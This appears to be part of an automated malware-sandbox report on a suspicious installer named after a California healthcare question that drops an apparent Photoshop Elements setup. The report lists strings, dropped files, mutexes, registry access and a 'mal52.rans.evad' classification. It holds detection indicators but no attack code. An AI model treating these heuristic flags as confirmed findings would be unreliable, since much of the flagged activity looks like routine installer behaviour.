Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3755604634.000000000132D000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: https://lcs-robs.adobe.io
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: https://lcs-ulecs-dev.adobe.io
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: https://lcs-ulecs-stage.adobe.io
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: https://lcs-ulecs.adobe.io
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3765673238.00000000099B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: index.html0.10.dr, index.html.10.dr	String found in binary or memory: https://use.typekit.net/af/c2b3ac/0000000000000000000176ff/27/l?unicode=AAAIKgAAAAeBbOxmgCK-MdR34PEM
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe, 00000000.00000003.1273556329.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe, 00000000.00000003.1272470718.0000000002550000.00000004.00001000.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000000.1274939932.0000000000401000.00000020.00000001.01000000.00000005.sdmp	String found in binary or memory: https://www.innosetup.com/
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe, 00000000.00000003.1273556329.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe, 00000000.00000003.1272470718.0000000002550000.00000004.00001000.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000000.1274939932.0000000000401000.00000020.00000001.01000000.00000005.sdmp	String found in binary or memory: https://www.remobjects.com/ps

Spam, unwanted Advertisements and Ransom Demands

Writes many files with high entropy

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File created: C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel.zip entropy: 7.99858557094	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File created: C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\images\01_PSE2024_InstallerCarousel_ColorMatch_445x239.png entropy: 7.99417780661	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File created: C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\images\02_PSE2024_InstallerCarousel_AddText_445x239.png entropy: 7.99439683967	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File created: C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\images\03_PSE2024_InstallerCarousel_PhotoReels_445x239.png entropy: 7.99157413002	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File created: C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\images\04_PSE2024_InstallerCarousel_OneClickSelection_445x239.png entropy: 7.99693279764	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File created: C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\images\05_PSE2024_InstallerCarousel_CallOut_445x239.png entropy: 7.99404274865	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File created: C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\images\05_PSE2024_InstallerCarousel_NewUI_445x239.png entropy: 7.99565416079	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File created: C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\images\01_PSE2024_InstallerCarousel_ColorMatch_445x239.png entropy: 7.99417780661	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File created: C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\images\02_PSE2024_InstallerCarousel_AddText_445x239.png entropy: 7.99439683967	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File created: C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\images\03_PSE2024_InstallerCarousel_PhotoReels_445x239.png entropy: 7.99157413002	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File created: C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\images\04_PSE2024_InstallerCarousel_OneClickSelection_445x239.png entropy: 7.99693279764	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File created: C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\images\05_PSE2024_InstallerCarousel_CallOut_445x239.png entropy: 7.99404274865	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File created: C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\preserve\carousel\images\05_PSE2024_InstallerCarousel_NewUI_445x239.png entropy: 7.99565416079	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File created: C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\images\01_PSE2024_InstallerCarousel_ColorMatch_445x239.png entropy: 7.99417780661	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File created: C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\images\02_PSE2024_InstallerCarousel_AddText_445x239.png entropy: 7.99439683967	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File created: C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\images\03_PSE2024_InstallerCarousel_PhotoReels_445x239.png entropy: 7.99157413002	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File created: C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\images\04_PSE2024_InstallerCarousel_OneClickSelection_445x239.png entropy: 7.99693279764	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File created: C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\images\05_PSE2024_InstallerCarousel_CallOut_445x239.png entropy: 7.99404274865	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File created: C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\images\05_PSE2024_InstallerCarousel_NewUI_445x239.png entropy: 7.99565416079	Jump to dropped file
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\SystemTemp\chrome_BITS_8016_582987270\neifaoindggfcjicffkgpmnlppeffabd_1.0.2738.0_win64_kj4dp5kifwxbdodqls7e5nzhtm.crx3 (copy) entropy: 7.99758023731	Jump to dropped file

Source: C:\Windows\System32\svchost.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_989246836
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_989246836\sets.json
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_989246836\manifest.json
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_989246836\LICENSE
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_989246836\_metadata\
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_989246836\_metadata\verified_contents.json
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_989246836\manifest.fingerprint
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_1807591881
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_1807591881\Google.Widevine.CDM.dll
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_1807591881\manifest.json
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_1807591881\_metadata\
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_1807591881\_metadata\verified_contents.json
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_1807591881\manifest.fingerprint
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_767797103
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_767797103\LICENSE.txt
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_767797103\Filtering Rules
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_767797103\manifest.json
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_767797103\_metadata\
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_767797103\_metadata\verified_contents.json
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_767797103\manifest.fingerprint

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\chrome_BITS_8016_1388616622

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Code function: 10_2_002E3460	10_2_002E3460
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Code function: 10_2_002898A0	10_2_002898A0
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Code function: 10_2_0020A8B0	10_2_0020A8B0
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Code function: 10_2_00542525	10_2_00542525
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Code function: 10_2_0051F5F9	10_2_0051F5F9
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Code function: 10_2_005442A8	10_2_005442A8
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Code function: 10_2_005443C8	10_2_005443C8
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Code function: 10_2_00540BCA	10_2_00540BCA
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Code function: 10_2_00287FC0	10_2_00287FC0
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Code function: 10_2_005393B8	10_2_005393B8
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Code function: 10_2_00526FA0	10_2_00526FA0
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Code function: 15_2_0020A8B0	15_2_0020A8B0

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp 53E81F92037DE45F985ADA2D311B1BB075799ED674BE340A99829B54A8806193
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe BAFD3E50FCBC0CF95C718E9BCE72012991883908EC02B62806E0A6A451864483

Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe

Static PE information: invalid certificate

Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: PhotoshopElements_2024_LS30_win64.exe.5.dr	Static PE information: Resource name: DICTIONARY type: DOS executable (COM, 0x8C-variant)
Source: PhotoshopElements_2024_LS30_win64.exe.5.dr	Static PE information: Resource name: DICTIONARY type: COM executable for DOS
Source: PhotoshopElements_2024_LS30_win64.exe0.5.dr	Static PE information: Resource name: DICTIONARY type: DOS executable (COM, 0x8C-variant)
Source: PhotoshopElements_2024_LS30_win64.exe0.5.dr	Static PE information: Resource name: DICTIONARY type: COM executable for DOS

Source: Google.Widevine.CDM.dll.17.dr

Static PE information: Number of sections : 12 > 10

Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe, 00000000.00000000.1267199132.00000000004C6000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileNameinstaller-build.exe vs Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe, 00000000.00000003.1337024834.00000000022A8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamekernel32j% vs Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe, 00000000.00000003.1273556329.000000007FE26000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameinstaller-build.exe vs Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe, 00000000.00000003.1272470718.000000000263A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameinstaller-build.exe vs Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe	Binary or memory string: OriginalFileNameinstaller-build.exe vs Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe

Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: classification engine

Classification label: mal52.rans.evad.winEXE@35/256@0/17

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe

Code function: 10_2_003D24B0 CoInitializeEx,CoCreateInstance,CoSetProxyBlanket,VariantClear,SysStringLen,VariantClear,VariantClear,CoUninitialize,

10_2_003D24B0

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\Chrome\Application\Dictionaries

Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp

File created: C:\Users\user\AppData\Local\Programs

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\{3EBE6875-9C4E-4782-8A43-275AFFFCA6FB}
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\17984755fe166b7170b9b5099053521c
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7200:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Mutant created: \Sessions\1\BaseNamedObjects\HDInstaller.log
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\359dca4322b8b4a0f7f92bf448150fb
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\{D14718B7-BC31-4F09-9E3C-75D933967967}
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\_MSIExecute

Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe

File created: C:\Users\user~1\AppData\Local\Temp\is-35JO9.tmp

Jump to behavior

Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE pcd_meta ( key TEXT NOT NULL, value TEXT NOT NULL, PRIMARY KEY (key) );
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: INSERT INTO pcd_meta (key, value) VALUES ('schema_compatibility_version', 1);
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE ribs_payload ( payloadID TEXT NOT NULL, productFamily TEXT NOT NULL, productName TEXT NOT NULL, version TEXT NOT NULL, PRIMARY KEY (payloadID) );
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE payloads( PayloadID TEXT NOT NULL, productFamily TEXT ,productName TEXT , version TEXT , signature TEXT ,installState INT NOT NULL DEFAULT 0, installTime INT, PRIMARY KEY (PayloadID) );
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE ribs_payload ( payloadID TEXT NOT NULL, productFamily TEXT NOT NULL, productName TEXT NOT NULL, version TEXT NOT NULL, signature TEXT NOT NULL, PRIMARY KEY (payloadID) );
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE DependencyData( PayloadID TEXT NOT NULL REFERENCES Payloads (PayloadID),PayloadIDb TEXT ,type TEXT NOT NULL ,product_family TEXT, product_name TEXT, version TEXT, PRIMARY KEY (PayloadID,PayloadIDb,type,product_family,product_name,version));
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE ribs_payload_constraint ( payloadID TEXT NOT NULL REFERENCES ribs_payload (payloadID) ON DELETE CASCADE, payloadIDb TEXT NOT NULL, constraintType INTEGER NOT NULL, PRIMARY KEY (payloadID, payloadIDb, constraintType) );
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE payload_data ( payloadID TEXT NOT NULL REFERENCES ribs_payload (payloadID), domain TEXT NOT NULL, key TEXT NOT NULL, value TEXT, PRIMARY KEY (payloadID, domain, key) );
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE upgraded_payloads ( payloadIDOriginal TEXT NOT NULL , payloadIDUpgraded TEXT NOT NULL REFERENCES payloads (PayloadID), PRIMARY KEY (payloadIDOriginal, payloadIDUpgraded) );
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE SuitePayloads( ProductID TEXT NOT NULL REFERENCES Suites (ProductID),PayloadID TEXT NOT NULL REFERENCES Payloads (PayloadID),PRIMARY KEY (ProductID, PayloadID) );
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS pcd_meta ( key TEXT NOT NULL, value TEXT NOT NULL, PRIMARY KEY (key) );
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: INSERT OR REPLACE INTO pcd_meta (key, value) VALUES ('schema_compatibility_version', 1);
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE upgraded_payloads ( payloadIDOriginal TEXT NOT NULL REFERENCES ribs_payload (payloadID), payloadIDUpgraded TEXT NOT NULL REFERENCES ribs_payload (payloadID), PRIMARY KEY (payloadIDOriginal) );
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE ribs_collection ( collectionID TEXT NOT NULL, collectionPayloadID TEXT NOT NULL REFERENCES ribs_payload (payloadID) ON DELETE RESTRICT, tsInstalled INT, tsModified INT, PRIMARY KEY (collectionID) );
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: INSERT INTO pcd_meta (key, value) VALUES ('schema_version', 1);
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS EULA_Ref( productID TEXT NOT NULL, langCode TEXT NOT NULL, eula_hash TEXT NOT NULL, PRIMARY KEY (productID, langCode) );
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE EULA_Files( productID TEXT NOT NULL, langCode TEXT NOT NULL,eula TEXT NOT NULL,PRIMARY KEY (productID, langCode) );
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE dependency_type( type INTEGER NOT NULL, description TEXT NOT NULL, PRIMARY KEY (type) );
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE ribs_collection_payload ( collectionID TEXT NOT NULL REFERENCES ribs_collection (collectionID) ON DELETE CASCADE, payloadID TEXT NOT NULL REFERENCES ribs_payload (payloadID) ON DELETE RESTRICT, installState INT NOT NULL DEFAULT 0, tsInstalled INTEGER, PRIMARY KEY (collectionID, payloadID) );
Source: PhotoshopElements_2024_LS30_win64.exe, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE Branding ( ProductID TEXT NOT NULL REFERENCES Suites (ProductID),resource_type TEXT NOT NULL,resource_data TEXT NOT NULL,PRIMARY KEY (ProductID, resource_type) );
